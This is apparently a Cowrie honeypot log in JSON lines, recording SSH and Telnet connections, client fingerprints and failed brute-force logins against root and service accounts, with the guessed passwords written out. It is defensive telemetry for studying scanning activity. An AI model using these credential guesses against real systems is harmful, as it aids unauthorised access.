{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:10.282269Z","src_ip":"103.75.199.4","session":"d443f1e2e35b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:11.376097Z","src_ip":"103.75.199.4","session":"d443f1e2e35b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":59350,"dst_ip":"10.17.0.5","dst_port":22,"session":"635ac2bd2452","protocol":"ssh","message":"New connection: 43.163.119.215:59350 (10.17.0.5:22) [session: 635ac2bd2452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:12.469274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:12.473617Z","src_ip":"43.163.119.215","session":"635ac2bd2452","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:12.722433Z","src_ip":"43.163.119.215","session":"635ac2bd2452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:13.458789Z","src_ip":"43.163.119.215","session":"635ac2bd2452","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:14.707084Z","src_ip":"43.163.119.215","session":"635ac2bd2452","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":40556,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b8f774b8a95","protocol":"telnet","message":"New connection: 142.93.69.27:40556 (10.17.0.5:23) [session: 5b8f774b8a95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:15.337890Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":46328,"dst_ip":"159.203.135.109","dst_port":22,"session":"cad7ddf4e32d","protocol":"ssh","message":"New connection: 162.243.147.237:46328 (159.203.135.109:22) [session: cad7ddf4e32d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:19.661318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:19.666222Z","src_ip":"162.243.147.237","session":"cad7ddf4e32d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:19.736863Z","src_ip":"162.243.147.237","session":"cad7ddf4e32d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lydia123","message":"login attempt [root/lydia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:20.057809Z","src_ip":"162.243.147.237","session":"cad7ddf4e32d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:21.131773Z","src_ip":"162.243.147.237","session":"cad7ddf4e32d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":57286,"dst_ip":"10.17.0.5","dst_port":22,"session":"669f720cd5e7","protocol":"ssh","message":"New connection: 205.209.121.72:57286 (10.17.0.5:22) [session: 669f720cd5e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:24.350454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:24.355366Z","src_ip":"205.209.121.72","session":"669f720cd5e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:24.363478Z","src_ip":"205.209.121.72","session":"669f720cd5e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marty","message":"login attempt [root/marty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:24.414371Z","src_ip":"205.209.121.72","session":"669f720cd5e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:25.423419Z","src_ip":"205.209.121.72","session":"669f720cd5e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":60122,"dst_ip":"159.203.135.109","dst_port":22,"session":"529b223f1f2a","protocol":"ssh","message":"New connection: 103.75.199.4:60122 (159.203.135.109:22) [session: 529b223f1f2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:31.814047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:31.819464Z","src_ip":"103.75.199.4","session":"529b223f1f2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:31.910889Z","src_ip":"103.75.199.4","session":"529b223f1f2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.121.31.17","src_port":46958,"dst_ip":"10.17.0.5","dst_port":22,"session":"75bb86e46279","protocol":"ssh","message":"New connection: 124.121.31.17:46958 (10.17.0.5:22) [session: 75bb86e46279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:32.114837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:32.119629Z","src_ip":"124.121.31.17","session":"75bb86e46279","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:32.183483Z","src_ip":"103.75.199.4","session":"529b223f1f2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:32.383711Z","src_ip":"124.121.31.17","session":"75bb86e46279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:33.280603Z","src_ip":"103.75.199.4","session":"529b223f1f2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:33.470146Z","src_ip":"124.121.31.17","session":"75bb86e46279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:34.736901Z","src_ip":"124.121.31.17","session":"75bb86e46279","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":37272,"dst_ip":"10.17.0.5","dst_port":22,"session":"99e63b0af03c","protocol":"ssh","message":"New connection: 163.7.9.84:37272 (10.17.0.5:22) [session: 99e63b0af03c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:44.284759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:44.288298Z","src_ip":"163.7.9.84","session":"99e63b0af03c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:44.530979Z","src_ip":"163.7.9.84","session":"99e63b0af03c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":33432,"dst_ip":"159.203.135.109","dst_port":22,"session":"048436e120af","protocol":"ssh","message":"New connection: 43.153.46.75:33432 (159.203.135.109:22) [session: 048436e120af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:44.934655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:44.939663Z","src_ip":"43.153.46.75","session":"048436e120af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:45.045756Z","src_ip":"43.153.46.75","session":"048436e120af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"control","message":"login attempt [root/control] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:45.311846Z","src_ip":"43.153.46.75","session":"048436e120af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:45.537356Z","src_ip":"163.7.9.84","session":"99e63b0af03c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:46.382319Z","src_ip":"43.153.46.75","session":"048436e120af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:46.783699Z","src_ip":"163.7.9.84","session":"99e63b0af03c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":56660,"dst_ip":"10.17.0.5","dst_port":22,"session":"b774ecd17066","protocol":"ssh","message":"New connection: 67.102.183.113:56660 (10.17.0.5:22) [session: b774ecd17066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:50.974845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:50.979018Z","src_ip":"67.102.183.113","session":"b774ecd17066","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:51.051204Z","src_ip":"67.102.183.113","session":"b774ecd17066","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qa@ws3ed","message":"login attempt [root/!qa@ws3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:51.371697Z","src_ip":"67.102.183.113","session":"b774ecd17066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:52.446485Z","src_ip":"67.102.183.113","session":"b774ecd17066","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":49634,"dst_ip":"159.203.135.109","dst_port":22,"session":"95486d590b11","protocol":"ssh","message":"New connection: 103.75.199.4:49634 (159.203.135.109:22) [session: 95486d590b11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:53.705272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:17:53.709009Z","src_ip":"103.75.199.4","session":"95486d590b11","protocol":"ssh"}
